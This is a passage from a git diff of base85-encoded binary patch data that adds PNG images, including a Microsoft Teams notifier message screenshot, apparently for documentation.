zi=$~~&^gCNYOy@p^7$q!$t|dc6!<0xMARFjv7W=Q%kzd;9)FH{AHqK9%J*!@ql4vj
zsb%r}$f-a*o9fl-!EvBkVeVqnG8)ZAFh}+stK;db#6$UHou2Cz?~_wFZ;$qhe<JaS
z>VA^vzTNY{WHpVzo^j)y6T~wUFSf#_J@J9|`cu^V%Y00K|E`eT@9#A9ag7X$|90Vv
z`QYXa$fNo<c7;fDp0sN|g!A<-ZACejcA;4z2_k(=$n5cnA1zx?JS9x;*83@46cSDe
zLx=k<8&A`lCX6xt=a_YMQqP=^zRCaadLTD9BLu$1s$mc)m~A}znFCSfhv7G`j=LfL
zE|Je5?qSx$QxQ=?jTNzx9N{vzt{8ST;ihNU)Oj;mvyiWg^KJxH)9<!M?u5Xk`1SAZ
z%88mA)5uE31FtKtsI=&(3yo*V>WQJ)LMh@?ZXWs3UWBQWiBhJ~J3|p8QU|!7EQ))y
zH8&jzs`%_>b%aaOG$uIozb+zDXC<=O_nJbiLo*Zd>w>5Sjl}-+g}I1R;pmdJ&#9_?
zX)wJ5)<}6a;i+rW3yb9m>BSlt&H_Z-fvacDbwxb$ixex_tBlg~`GQ;VqMZ9I!%)Hd
z?vZZXBRMk<QK*onkf1^F6PZPrSBpz)p7*<M$kwTnUYwCp6?nhpXQi*EKFYyGB@Oho
z+z7f6cvQ}G^sTfK>Tps8wDaVx@ssAxG1S9lQju;4pVUc2gpTy*U=9fmuH3pI3t3fH
zY}M~GfU2dilyq+eTJs-1w&G&B>2g((Q!7MK_Kt<D!bT$5Ih=*Mkl-1~ae)7T<o#-9
zQrv@4cei?ktinV<--Qw@rfZLWfunQc^-Zls_GtzXe^GYk<ssM2#UT--1Apclu#QSs
z6He%h*SmzZnT%CyDk%>Nn7wy~z=32{Dk@kAqHirY&NA%~We|Z5=X`tpGKvS{?Ci|h
zs&)i=GN;&&v+nj@ou|@rb2DH}BV68Y5E_4Y<-P4S0*B1<t**cSu#!8EnsT+)HiGDl
zJ}^AT!&88L`<gbtbS`?NrIS03N3V=}nBAm*<cH{MvjxMC2f6K+qRyCpstRcxddnYf
zGgO!%MD<oV@r)`Q%F?3s<b5`NYoS>Ab&@T10O!QP>3v>WPu+%KJZ(9}*;3Uss_F5!
zK#`Tx`Sn?5rU$>@|DKE$IgD>QNYOJt-rirMK=5Qms1i)O+{zzW{%ES=ay=8;>ekVl
z3J0t_^7oPWVU__8+?~uyX7Y2`!Z_KEPvvvou#OxoDX{%mV!3z^$13iq5;OE&;ZNIl
z@>ma@_uM+V6&-1oURU)s@ScZNcuWly--S8Yb%xtZ#D{cN={erkwxM$vTvo#Ci+zh+
z&?Rti4LPQnMVlpYlucV&z39diUQtjIu~gqVK^7pY-g9q0`gHt2r(Nuiiq}DRYW^IL
z^~6-%B^b-0^sBEyxx({ADLit|&~n!rJjOVi3q206xV+^!;IGq#nKN^Icce14%$}!G
zu!UNMf7p?IIpCd%s~}pkjk{_8q5|r4AP4P)dt(k9dU!HGyQ^uD>G{iFxK8_#&+Wky
zWO1lDDB(R*x+ddBz7I`0q3@GZrrEbt`{YAXg%LUa!(E@hxc#w$NQ<i?=X3X+$kg;-
z;PB9w#Q22vw8_jJDZGtd94tvH<#tN*YYH1Kzb*PL60Lsf&urB*AOA=yeFWGvy|TIj
zO;sAb!Q!-z>3z0%s7--SH^<0Eal6aA&7ro}3nfiqM=aa|Zl_wPFO8?KBF~)oq=WgG
zJLKF>7Fcl)n6y_9<#;oP`QGIGY76r&{;-$z(3Q5Gp`*@-q_84I9_ilkX11X#BfKh`
zgshG!{zr_MF=G-ZAbH@@ZzumIJ&#WI2C2_Muge;I$6t44`)pl3%s$ZE6=fhW!}(hC
z;O&jBqfu3`yv!mm(0p?5mmgg_1N$H>f1jn|;*!$EQ}Vlxy?Vzk*#?Hg!<m>8Rex>Y
zESlO)2ZTce<;l)ZcI9x}RyUlt#y*K%tk(-rDVG22D{`Ev`{vLkP!4F6@L}%D`m60K
zk7TcH-}<7N-eqn1fNx_^ow??Be94z?@~}Q%*ZKAIJ!JX+EusE@VepZT{Bn-f-(zxg
zvZPI`ALdbO{7OI_^TTBubJsl$$k5o>!rW=#xu8ab9sdi<L%JiXKjD30O{n___64Y7
zYFi*d9m3`QFN1ys((gVsVKX2}!AGeU-hzQD4k%$$7s{YRxq2WWx#}_hcU8|Ht-a&U
zb%b*Dh$HA8)70uF+I*;zdk=Uco8Kjur)3I-MZ>zM8`e4`y$KlWE>}=Gc?qEJN<cUs
z6OoYa7`i7<Yg7CEZ2dQQ^|<pT3WW+j+cWX1pp?uO#1n5~Vgicv<D;Vro{PE}WE4sz
z5@<R)m&eNZPn^hn@L{dxs8+TbP12w+Q6;ce(KENE#wbZ&gIUPu`#!z*7p>abBKd)W
zXHUSBs?~l-M|$Mz4+%wC@GfW}{|8AL8XAk@qQ{*K@(rhi1!|_*)Z63Uj}(|>6}dKW
za0=^dXC)2A=^81^xe_oHwYX|kFiK1HVT*HoafeOhg?PN4)E!we7}yal{A4Bdd1e}m
z$*CUP-CiF`nNVV4%C`FD)gmTu@SsU4tb4CBBgq>#hQ$^<$Yd(eMf$Ek<8W|r0A*B_
ztWWu$QO~*(I;HCz!G@$3C4>Yr1kl!_?@8YoY0$^$N6&P|FXgvo>)>M_dR|S%u*=l1
zf-J*<TSLk1#~X<We<E_k)LlbeJ-kr4CQRQzVB{?KOkQBvojl&@>eCDFv{Z766!nkj
z9U3ZW@zu3xo-4R1U{F59Z6q#;K6(?dbqxq+{&ewS0k%GNUgIpz{L9ip#Iax_3}Pu8
z-Cx-iIS^oK1K2IaN(Ghs;x9p)=Nu5i{ZrWJ0>xp6;q$jGHzhxaUsK&(ZI*KcZo@VJ
z@mlV6)zaz#WyqCkJOU_(OavxDcg;&53yT!5!fYhaD9FmLfg~yMl641|uma<Gi_)i|
z2|RSr19HY-VR5nl{pIZgkvxxv%PFr~n`}Rok@$yrv?5=Yats@=ccrRbfzfxj6U^W9
zu^A7H@=Z48RAsP>;1x+ZO&2(d7c32q%<{-tT`}O+70Wut#H3L4s|*+E$b%LR+~@-u
z94AmLpwVc<MH87V0xHL!5Vg>IUV}g&ym7v22hBACu|Q1JRl4s*+&SHW>z9BQ;l5Jl
z%Ns1R_tS(Ti>jM&>V+JoY&lO@@8<>Gb+SL|;#TwYzP?V9;tb*33i|eyZ@iG!XJduI
zbF@@crr}y8?5Lvq{e4W&*Z*CAJSzFq1f65pX(puoP_ATAy&DiRv3bpcW+1YD6$+DO
zy6oiU?>)iFv9z!tuFEeD2GQ{zO;TVDDLd7N;X62`@L4Y~lJ$L43ufkXW%VH9&?a6-
zF&Wf_2y$_tM=eNKZRmfs!3S5<7ydgN3*cc6c6N3S4mylI+#RR_G(mOVL|lbKd}+1q
z`Xp_|TXt_DfTp^Sa!xx_T=3DpKJ9ECGzm0OTtn}*yMWnymuLHJZ%l!U3NUZe^92%p
z!CH?)NUk;y?|!N1ymv{|#AfuKsgm@Q=JJp!ZTMk}+or0f(Fi@8&pinAH0av?UjOJ9
zUs7t_=IT3_<b7-n=*~{?^8=<Z{XijBVmwD2h<AYgVCcer6cNy$I$4@}M%GKM;k=a1
zP43)QSJS_CFQ;rrbVwVQ-|fQa4PKpfHANe@suWy=(*qz5+M7UGRnC=whL>N|%u}ok
zO(P{(AC+uzErI3nTq^GiTP*j)bEv<;wkt?mzVqTvaCSA#(li0R<%tHr_cajl{@baS
z|5KjhPUU~9_}e>6MNmFD&`ay|r6;LmKReG}SKVH1m;C1#(EEM+aJfjqx;2a&mUc#?
z9t3bj2n0!krKd>sDt}P+uOz6kZdch(U4Y&)htoE9hd>+mZ}=4L1i~1vMF44%L7Uv$
z3HCf>Pr5Tin>hYa$#u7K+_}ujkW)xBdP(;Z5pjwz2jbnJfdf!Oi3`N11qQS4b+bRW
z|7Gzza-y>)&Na7}{QMtiG$}~mFHHY)#q|x|iaRM3biaT9_M1U-1R#7B2=L5(XJTKx
z*hf48V>i0EL#GnqKx>z!@iBAXBo#+Fzi9WK#lpQy7Ib*MKsirTYbOEK<DPcG(|*+|
zN;y+#Gen^<66=Z<+!MNBFqpU8G4Ev>cGp6L{O;EHemfd)3K8<9fSFqT=3IBK8Vx73
z(sxV)2qnaZ26Jxw;CMwCI7=GCbX+8e!Mv4<BaMvmjxWxi6iU}Ck4pj)#LW9+i<NqP
zeEeKMXHfe)lolY7W}!OmTR`fCE4O<W<hK91^>kF=vQ?DIj;*`<x=55#KWH=qvQV9+
zk)np>(oR5egd+VZ5=9n3o(2N${QP_`pN0WOKZ^xAT73PL6e4fEkyRLMk~?uyCU<fl
zyP8_bL2>yPt$+q-C--ySYVNJP)f4^hiJx!ARWzm^XLa@rrUNu#_f$c$z2hQ>zO8g(
z|6|X^7=)fFda<v>?|jnu`{F`Q$LEIE9Txp!`wGBz{$>96OdSW>PgUwz&tA7PAMKU!
z?x&(6t#+-8JA2|XagN?X=bD)~2-pumY}+}p12BT;OsqknafN+#MA>7fG3<0T%egVh
zpghnzBx%(6Od0GaH$~eLT6Hq?bUy0f>xJgbHnS~kK=q5~6P|QkVToYb9{pmtA9mw2
zB3{4Za3kKS#fr^U$y`|l9Mo_j?3Z!1lh;T`wUk`jMdRzYXFqnp!}{0;ymI%toh?D#
zR-3V(nDqlYIayR*kQfLQwDNLt##v``o2=u_$n8KJnC!o@u&|&VrB@mHf<@9H_^|5i
zosO2UVxC^nZL)jfE74oHr)vnvyV!Rg_nEJlqe=b79$<6Qm%{yQ%8w}cJ&<-V6PX$x
zEA59QW>kY__cm{pKMH9;lHvfGJb{wQU>2x{>nOy@qKkJd1F^N9I++iAcNVh7$HzfO
zFSe-;-=nl1aia!FbS5H3^nsX0Xl}&k8c@g~zu%2jJCf#JUw(G)WQ8vZ{|aRRGJ27r
z9$#qDK+lLbuLUN^0y^@EiTvFxK4k#1X7He`RC(+BE3j}&E>*P^nbtfS+sVmFwg)i9
z&dztEPp!g4bW2^j1~hnXx36I9xK9%}pd6J7FmPG~04RAcQJjYkosm4}fN&RxaxXxr
zBO%g?2b$SZ1ch_lK1Dx4E4J2w)%y64e^)DmPGrz?v;yz%t1T&U1v(4R7+R<p%Q%+a
zK#GK(%g=*j%I$hosE%-WgXZSurnr`5g+tid&P^`mK_Kt{c^JS%aB#3gVa+oj&JOZM
z>uHq5EMz_SkT#K$4>W5NZpDGgw;JUS9iXvQD{8j63Ywg*S{OdwjnKXNu<?h@SZAAS
zo`~XJ8^OQfrtO0^T_=JwMG)wCt|5PuZZ<#9)^JJwZPWkd7hq$!7W`|TK}2MF`ulJH
z+b%^rH3xI>CiVj;4cwg9+$XiJZd@xW>BWl|St+m`peY;P?>C}g3}mj{&7e2Fu)AAx
zY4AnDaM8YDqqwtevfw?srG5k2kF6v%;Xn`C&Za7DL91bBs7UV0m2(#Q=k)Rl3N-e|
zHhE5rj8L#dm^V;<0>I$qHPI4kgl6ZJE{6$@l2UJmZ1{g&Dr#`10gKE<{W4Z`*K{??
z*!}V2$J=W&dt1liP+q~@18{=ECTLIpc^JX1;;Jt<2ldxbgv#;q5>N?teE{Z10sb$h
z3sR8&2Rsvz6dVeL`e#?WU${78Aeg6yjw=)Pn?EIL>?x$+^1Ws*xejQib?w3765tqs
z_p`><>5U1X!YM03*Gy8>vymkM!F3<>kHxBsGN`RIMSgyMVgrND#>*|)Lh6lKjjOTs
zujLsxd2F>Ok&`T}elq**!-;eus*C#9l~jbDIZ!Ntgr(Vs9|(jm*!}DE6?=zgfUu*;
zr;N}_Q3(Y2OKv7wO=zs#PRGRL;~yS3Z@yw9Z)^Z{T*C)BCkzN%sghyMNU|?z4KM}D
zexR(<$pNZT@s@F+D|ZGMByi$IM#jt}oiOQ9|E%l8W=iN*vqW6hrfiEX|K&#lBabyk
zN>IVa3LAGKTl>ATMHC<MRGmI?d;}Qqed6!fU3obazqfy`Mo>z0$opcq3~y9K^2?hC
zkXk#Yhl`eyWF7Q<RL#ZVXoTP*6belN8(D!*@G%5;rZot4_uHH8lqgtN{`7sPUYe{8
zkNG^95O048=J}n*zv&)7daoCZwmAay;*&yre82`Fi6HKR<a1|lUs%j5a&~moZS2Eu
z<?7`PLi_aHVEgzab8}+yGaT^MZ~bf&d?L;+j>_?fLHAB(QONq&ut5rikC8s4=_uGn
zIzXzA)`7BnYa>e)37u3CL=*LR-N*pi?4^$z16mH>fHsg{lRG#lJ1M|BV8eo`?f%`K
zpz6fk^u)b}fQOXdhLH=$Psu3mZ5zM`fb8E6UhD>1H8?mpxRf_~!Py>r3bg2U1r$K<
z|5Jc;dY@!(XIC>FCP`mNp)UXlFQ(2L`UX?`1t<x}ZP2o_K!L570LMqlUzy2obLEa;
z+_*Ud4gVfQKY7bZ(BaTt+sYs~(BgNdRs8|zRzZ_Nnfsiks=Vns05%5KQh<wq-1v^4
zcRdmr2o%O_D<B(;3=Yx(poVQHLB*;qf-qi%)~15K0JfF;QwbU8^6P~dT@rG4EYN2V
zlBdU6(V{KZB}``H!mqOnteozkD@zo7LoT{z?X}8$x%%H-XZ$|}yZ^Nm_;kG3vUz{j
z6*;-?WMyg)ulfAS3VC1-1xk2e=UES<0IC0N8=E;mq0A5@3wula0=kO<hhlbA7Q1(b
z6p)YnBP<0h2Yo(0YHu&i0%6bqgh9|SVm;8OUI2g$xY<t}U2~13*ge669y*SQ?IXlw
z+t7=vk1{cRqW>GQc+i_e34kEzjF)NHnhpnLDJSK7pdwfe0`cNmMEDa*QxH4Bu+kZu
zdmaVE^LzZuMC}7mXnpkCIV*1n!~?A?&Icb!!TE!}HqahIodu_vSa%$Y`~a4$ySuxZ
z8k$fwS(vFUJrXlKJY3^GCnqNdg4`wvEj)5dQZ@%rI^5OV09a(4OHw~o3If*u<aY&f
z2$SzTf_wh2rM#&NLe%Mny)##GL}Ny{hl^@v6XN1{oD6MLLA!@If(Tliz~YEE^BS8c
z=4-_~6`*J#xZnvBJGZmII)N^j(nxi)z@DC&zwODdjPM^R-eQ&@k-(yl83e5zsrcmN
zWDw)_K)9Ki*-iJe@3e7(yw)p+>+sQRGXdrR-3^xfUK?PH!r<I0kkv5ARSn7)F1Ua$
z7&Rf^AK>tYT`?8XK@N4W`7i0_%XMh6q@!KU!V|o1cg)a}x5Y{Rb9=M<`S)l*cn3)m
z$SL6)>B3k5#B;HJO9enCtgf!!3C{LmY^N}MKYOE#>i<W3*B%b#+U~VfPC4Yb7^bF{
z3L)piU{ESK#R%mvCe<vbhNw^|8RL*cl1eCqG>&VSaVj~@L?JmwIn1cVAV!VIX+Kl)
zU46CpwXglhx7Xg^`fslHdf(@L-ut<q`?>Gmec!*CX$Ep8xT`x@hm;TerWzzII2C3#
z>^Fjo`hG;BHgq|&{totW1#olTHs5IO=%WBCm3#XhgFY!X+XRThVPS~rC!C<bdfrU=
zQK>JT^6uTKv=l9Dy3GZEh9Qw1AU5}I+<Bv&9xzvY$a}7kf0Ql6thH$qwNK|*rUij8
zX5w{4ho#&##HZJO0JT9H+Al9tv>tB;SkN5C;KOa;Fqy=N=gk9`9PleSTEwQRVd7{D
zK9`$hC8<mGyK<M+47-mmv?mF5gTtS(mOcQl`?m&O|I^}aWwx)EG;&!L0<df|wwPoC
z?>*lyZ8a?nejA!XcM(D7K{cDN?QkMjvlpl;|95}H+6A!lJb7}-9*FLV&Ou+xj8?jH
zpo{Dm2`1goZTS<}pdo2{oofq=U*u&iJQc$>OZ+Bq!9dyh)r*N%z{VRoPbb(XTD5)=
zxa>Tey{~fv`=*hvPyWkqf_9O-`+@D*JlWjumXVj|UK_UIGh?#pgjW%nNc;edZYZ!P
z)%r&MI+eSeQ^;15d7)m7T1Hlt`crh`$KIe}oP<BDQW{$`IEraYh#ub}d9>VTxZ-RF
z2M7K6UKdjXov(5lxqd){#IzNC*6QM+;|H>M4ZfxW;mu|WEedyn=o1k9TgwH-T*w@7
zs`{8m`Ik5@=?=k)e!H9crC{gKOjDLre}H_m$n5gyh&rjqOj?3AH+m@eS?uJeo#3Df
zc&gB}69ejb0-_Qx&OD&q3^jXsd}TmS5}8yvk>4r6?bkSSo8sUHx<-#>3%&8ufs?u>
z9cZy*gq;5T@-P;aReuQ-nka)T1(ye<zH<wz=xjvAhTJy=`~e`uE(n>sf7!B83lrc{
zVb)>ae<!>GmoNVQR!}F_%yILbx#wza;md|MCQ0Er&LMg#%TL3TxqF0_MH~7pPd61d
zZhU~ylVB<)j%@TQjG98<TbIHD=D+{e+)LX*kT@pGPF$dupwD$D6K&9y$wcD0(7K~l
z>Kc4jl@B^{BAuOIyDh{k6Man1J@j$p;D`+T{$rDVOHwRVka4_ded$HXV~Wmp2jZz%
z5bYkPs)+Hx_EKSk;mbbvDjo_&Kj=u-6t}25WqhvPl{HTIz3?Hw;7a{5b`5oP#8Dae
zNd<}oIFir7A833&O%LmKA7|KBUp5XeJDTN`qFdiWu03~~nJznUM{%>Dcv?ZQFy8`b
z1t3S+S(IL$%QUX7a}q&WPA1blt#h0Eo}Q44x(OLGXi(qLTBcj<7HdDzZ7<`Q{Ep$^
z?@Fz&k9meeX2k6p_aqPJJDZdv7=qNMP~Fl{=RA<U_A-HYAC!@>T*t9T_`Cf9J(4OW
zy1{t8+zH&Vl*FsZjDs0r6hdB6$_yyj9LpC_x1s8CW4w#4<w`hB6z*h)*`c^nGSi1k
zLVK;yZ`fe_cvme5%I_C-BZT>XJxRuu`8P*XmvH>I+LbL(lleSi#=+w~ze0+jRkL-M
zUSL~>N=4{P)H|l)SGgqQYXCbN(?aPrFTcQzD*+XA4!j)}8AKo04u6WH22(i0_K$<w
zj^#XM8nRFkdj;F>-Br$+-r;T>9Q$eCYjgAmBWdnL*k1LJVc<ALbUpqcpAqSyq{}K<
z??&&!nwo4sf<jH+(~Nn5yzn9*4Y=b)CTN-dLUo07VNjS5h`uG?@ak!y?50AnRD7O|
zjT+A>;r!H2wU^ml1M`P93zgAP#ij}bUd^o^9o4wcst?GE?uh<;1YwYHqBfwOnLP0-
zUU?q|U$c4n$wq43nXK1bSV4seCrnqVitgKISErB4MHML}$#<$}AkXq@8JXng=z6Y<
zMUo59=QO$b+#%?lph>ae`yDQZ*^qr%DBj~rOv4pcnb0BgU75Vess)Igbp-pOZhNtI
z4t^w2Gp1L#=<#QUTAN;0&c<FylN~YPcHJ3VnnXmNq=AX6e|~!14a)vk-e|=%{!i36
zGIp?V9rMh7eV~Kg(NhtM56ftuGgYMWI0-pK+&YgPEBuDNq@4bDd?K=`(OM$nf8<1A
zjnQV6hS@KDLV+SdO{<+Q?mpJ@{t6kNcWQAlf-h=eFQ)p4i1Ox~&H;WN44)RP^D3s%
zjTR!);{vEy=k-Qzj9mY65biTI2(<OJ<34%_d{p?p<J94$8V9F+RCc+6n22H&Bmb8}
zso3N4*+>$9zsEtfKH_ozr#5KCsPlzKVVnEpV(5%0_*v<}=v$VtrTu+nG+xqtaebJz
zl119^K%cN(gOZMU`>$1946@>@OU0S3JML~TiQ!e~lecSW?Q?$VTVA4TDPCGZQs7te
zGOb&R|AY{>5L^H$!r(~v=V6~#Of4XwiGzAhhiPYl)~T|Ai0AA?z@ZZ4<voUJx&rVX
z`!~ETFH4RHC{T=Lu$&wT|Ez|@uwRV0C6ghvp>5rg%d%B(6%pqTIqmcJqRW1CyvNhn
zg|HE7zm>q}Z6|#)pBjzlEra*$xDl(qAB75L9jO|4A!mm~($cuHCP>A07u8IbVAs1|
zz5?He@x~@j^i<BKKho9E*ORbort~)M&^la|=^SIR38L_ECm%)2XoDyD#063aE4)9w
zT1Rths??aldZ~L|tP8kUo;KHuTPC!2u|(6Aqizyyq_URh9u}yjmYH?5kcq=CVmS?3
zhpKEa<!Wd*Va+T8@pJcjj;&4KDde?3Z)4JV=H1O3n5X|JG1npWz+se?9X%}toE)h!
z->tHwh>_LD%#PqaZog>of1p%c1<7CSqVJ9sRZ3do`>@RhPAbDms4{ZpywiFR_WHOm
z|5``-U(wC@drp5z@9*zr`FmOZ<srv^L+M_EaH|a<zE5;4+gsTd9q~1Y=<M$w{{X@;
zpEzXc2ViyE+P(x*Z^zu}`e)cAaVa#Xx4V^AV>1w3{T<z|2KTan{$-55Wo2$dt{$rs
z8FF0p6-dUSR#+%c!T_`u<m$9^KCx50P2b=ESvk7=nEVvO0fhlDA&<!9tp?_EHiPh=
zFu^1?eTYlueeJks0Hqf7m<*WtLT{CNWEDTyX9@srZBJh(uJa%d2xv5Cnem~ox8(;d
ziYT^Yj)@LxoB~xE-9_}-*>mvh6u|lmaxUSrAR4M43OMl~9|?MNS7ww~RBaLks$RN!
z_vTRjyxm*)?>6y_M^rFp!8BU;uD#1wn(UAtUf^cZCDc$Lsp_d`juOMvLl_|FfVd5V
zXam+utI8f`1EgHO8ZwR(Bt4lN!l~-pTa&s<CL3~o9|2IFzfccP<JsLzCz*Z{P_b64
zwc(?4nOokLI_&l}E;|gdG}VSsJ*_qPKH-*ya9vxDKa#s@dy?mDJ~83G#bjZrYzvDb
z$0#YFnDF|63gZBKw#3BNBxXF#ZybH2PhDEoA7+ksf>_<uUS<%^gwCk#*)QVxtQ&A?
zw`#|Y_dZJt`d|Ppa$B++%EikL27}F@Z58lsG3BnLYsN_on2F2uzcM~8(8ar?TMqKD
zbU?WQ@{9XXd-EL7_UK{_3$%TAsdix)>?WQsiXJc-!j>Cm?Za?GkOp6;&P`iX+k2+n
zvB8gqIuAI}487cF=3ZkLL1mP9*k0{8!Uo(}pXtmSPZs_K7Tzw}zrQ-W57eBP0e_1_
z`|g^)fI=ASwrQ$vMEJ*iPFx>IS@eT0W%0a%8le=6U77mfZAJKA87uq9`0M`W3VpxI
zM9R(;M?ZAOGC)|#gH~gZ(ZUok!BqU$&YXZK=1JewPq)~M;l4WOhPiEQ8nw=Ks{%cK
z@e74M<I?|KsOl|ib{1r#1H|q{Jl6kcK^s&8z&muF5TXevzi#d_ReAO&XV$iBoE(R#
zi!6h$cCcZA_VhkhY$XTC<}4L8^(|D9d^$9!4jz9$7Zd#T@ur=el8bkM$?cR0E%|CK
z0qnH(N+`f*E>+T%XTR>`-|lWYF^!c1px^n$#?_aMT)(_&*#bzL5m(du4O&r6sI74a
zIMy4c#KIb6r8=ht0LKUL<>Pn1p*4mZzfEr9znWaUD`3Y48CNHvKmao>O1C0@c;gJW
zD3wi~F}YLyM(drFl>FQGYg00>4eXa;{xIPKha>4{`bsT8J^4?@@t~KhYiK+ItRlLH
zR{&Sl#NOTUh~)qbCYOR2Bs;`MxEHg2_sI}#Rs6}riM~$EK7*o}?maRNN`h2o6<tdD
z&zW|_Xqaj14-$daj{53}*PMjX%5BR3C~x$KXP?TDYK8rDT)p40X8p59qIt1&U4gr&
zRDd`(VN>a;^dFWo{+?zWKD`b;xcw1)8NeOaYQ`geSV+AvV`=+27av9uG~SIIC!u)E
z7D6>i8z$1Vd***wr|pLy#;vFs;#><JcrP{6bWi%~eZ<#-qEk(C4}^c5U*r$t|L-Wu
z|5%IF_v{(^aM^myv2k^kdRFz;28%6f<JzD7!!`<xK3aVs&U&=}%5DJ;!{870OJ5Wn
zY_)%9;M{t^Eq;Yz=9hB1GEgPnH)NDF{%!#n5sp2+-^_KQC>NjPHL5n^;0UOlsarc3
zn2+be5g$e8t^*P7F<QHuw>^OxuD93(#<;chA7_%&Q#WJiG8-8;7y8GssWhSj6AV=a
zS9e6N+Injnn8eJj1Uy0#Toq~HJo(k)<t6Y1nm?_-y9pRL9@=W6BgytDPH)G^Fx%aK
zvYxrx26{+-#26|vGrbcSIoGhY(^c#YES@Luhv`-n&$xYhpM@7VzgUE=aTpbhKR@^;
zR|RLOAF?=+L#I}SOivYweQqQCWJUyi(YzattQSVZwgH_e(B&8{|C29wn9OkXh_|N6
z`Cd%=$sh`P%ROY&>zb8vo3q}<A#WvGNaWVmfl0UkZu+4LqXaqSt)Fm}E`MRv2OrC`
z<%;z$Bxrj{Y^S``Jzd7c<YbR#T_w6PRVAnaLi|jM)f)6F3%NrGY54=4X_H}G_U(;s
z7Hfi3&=a*1ql!5yRz!F`<TP=3_DU*it7mP`wjzF_9NHnkA(Z>|p?Ze3+SRKuqXebF
zjpKwkZ<yjkmE?3kN`uDPe3Wn}syE|QUY;ev&7^g4RsPnx@}Ti^NEXPyj#tpcCZ-~&
zfk)$gyp`Nk#6ALk8+Njaj#CM8*iFj!ia$}S?LtL1$F=Weu_C!fH&1DL4L#rTqk`;S
zC_bMQ%vC=@m&S<_4saLYL?K+Sryp2UO1Wa~@#zWa^j{0mptGF`Jwy53x+VfyiVwI1
z{Zc=1Q*Y_S*W3YbMe)S;xQf}s#z!n;1&wQPJ$0fQ^#_dVvPfPq@$n3LU)Xk&$>%C|
zdqPCJ+5g#dsq$MgjjdxRw=`$@zU$t;9>v0^7KlO&;HRnLK8h3F6km-lN%_08L^>&x
zHQq~UFxADFJE`f>)&;Q(7Yv=hwI;J=Vk3AG`PM!-7EV7*c;ayZnHh{7zbxdUc#VKU
ziIsUG@-y*WC1dF0yLQ30je~YpIOZx8?Z)PUi=uz_fN#PmAXc|kawwZftQxrEf8A~M
zGb?~f>9CEA(4)*}<UaYQo&2$vUL${hFO<Ic0y*^ker`rekLb_v1dfufH?o=3hW>x0
gIUOt5B*`m+yAP%k3zz-a30n?R6U%*t#;#%i0fy*GdH?_b

literal 0
HcmV?d00001

diff --git a/_images/notifier/microsoft_teams/message.png b/_images/notifier/microsoft_teams/message.png
new file mode 100644
index 0000000000000000000000000000000000000000..5c4c7f11ed12fed720f4b227a27c76b7c2e9b46b
GIT binary patch
literal 7777
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
